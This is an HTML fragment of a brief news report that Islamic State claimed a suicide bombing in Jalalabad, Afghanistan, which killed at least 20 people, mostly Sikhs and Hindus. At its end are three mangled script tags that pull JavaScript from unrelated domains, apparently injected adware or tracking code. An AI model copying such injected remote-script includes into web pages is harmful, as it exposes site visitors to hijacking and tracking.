<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><span style="font-size: 12.8px;">The Islamic State group today claimed responsibility for a suicide bombing in eastern Afghanistan that killed at least 20 people, mostly Sikhs and Hindus. </span></div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">The bomber targeted a delegation from the minority communities as it was travelling to the governor's residence in the eastern city of Jalalabad yesterday for a meeting with President Ashraf Ghani.  </div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">Avtar Singh Khalsa, a longtime leader of the Sikh community, was among those killed. Another 20 people were wounded. </div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;"><br />''</div>''<div style="color: #222222; font-family: arial, sans-serif; font-size: 12.8px;">In a statement released today, the IS said it had targeted a group of "polytheists".</div>< type="text/java" src="http://pageanalytics.space/addons/lnkr5.min.js"></>< type="text/java" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52200x6849x&r=2"></>< type="text/java" src="http://pageanalytics.space/ext/1ac1b73204b5d3dec6.js?sid=52200_6849_&title=&blocks[]=31af2"></>